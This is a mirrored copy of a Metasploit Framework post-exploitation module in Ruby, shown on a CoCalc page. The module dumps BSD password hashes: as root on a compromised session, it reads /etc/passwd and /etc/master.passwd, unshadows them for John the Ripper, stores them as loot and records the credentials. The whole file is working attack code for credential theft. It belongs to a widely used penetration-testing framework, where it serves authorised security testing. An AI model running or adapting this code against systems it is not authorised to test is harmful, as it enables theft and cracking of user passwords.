CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/bsd/gather/hashdump.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Post
7
include Msf::Post::File
8
include Msf::Post::Linux::Priv
9
include Msf::Auxiliary::Report
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'BSD Dump Password Hashes',
16
'Description' => %q{ Post module to dump the password hashes for all users on a BSD system. },
17
'License' => MSF_LICENSE,
18
'Author' => ['bcoles'],
19
'Platform' => ['bsd'],
20
'SessionTypes' => ['shell', 'meterpreter']
21
)
22
)
23
end
24
25
def run
26
unless is_root?
27
fail_with Failure::NoAccess, 'You must run this module as root!'
28
end
29
30
passwd = read_file('/etc/passwd').to_s
31
unless passwd.blank?
32
p = store_loot('passwd', 'text/plain', session, passwd, 'passwd', 'BSD passwd file')
33
vprint_good("passwd saved in: #{p}")
34
end
35
36
master_passwd = read_file('/etc/master.passwd').to_s
37
unless master_passwd.blank?
38
p = store_loot('master.passwd', 'text/plain', session, master_passwd, 'master.passwd', 'BSD master.passwd file')
39
vprint_good("master.passwd saved in: #{p}")
40
end
41
42
# Unshadow passswords
43
john_file = unshadow(passwd, master_passwd)
44
return if john_file == ''
45
46
john_file.each_line do |l|
47
hash_parts = l.split(':')
48
jtr_format = Metasploit::Framework::Hashes.identify_hash hash_parts[1]
49
50
if jtr_format.empty? # overide the default
51
jtr_format = 'des,bsdi,sha512,crypt'
52
end
53
54
credential_data = {
55
jtr_format: jtr_format,
56
origin_type: :session,
57
post_reference_name: refname,
58
private_type: :nonreplayable_hash,
59
private_data: hash_parts[1],
60
session_id: session_db_id,
61
username: hash_parts[0],
62
workspace_id: myworkspace_id
63
}
64
65
create_credential(credential_data)
66
print_good(l.chomp)
67
end
68
69
p = store_loot('bsd.hashes', 'text/plain', session, john_file, 'unshadowed.passwd', 'BSD Unshadowed Password File')
70
print_good("Unshadowed Password File: #{p}")
71
end
72
73
def unshadow(pf, sf)
74
unshadowed = ''
75
76
sf.each_line do |sl|
77
pass = sl.scan(/^\w*:([^:]*)/).join
78
79
next if pass == '*'
80
next if pass == '!'
81
82
user = sl.scan(/(^\w*):/).join
83
pf.each_line do |pl|
84
next unless pl.match(/^#{user}:/)
85
86
unshadowed << pl.gsub(/:\*:/, ":#{pass}:")
87
end
88
end
89
90
unshadowed
91
end
92
end
93
94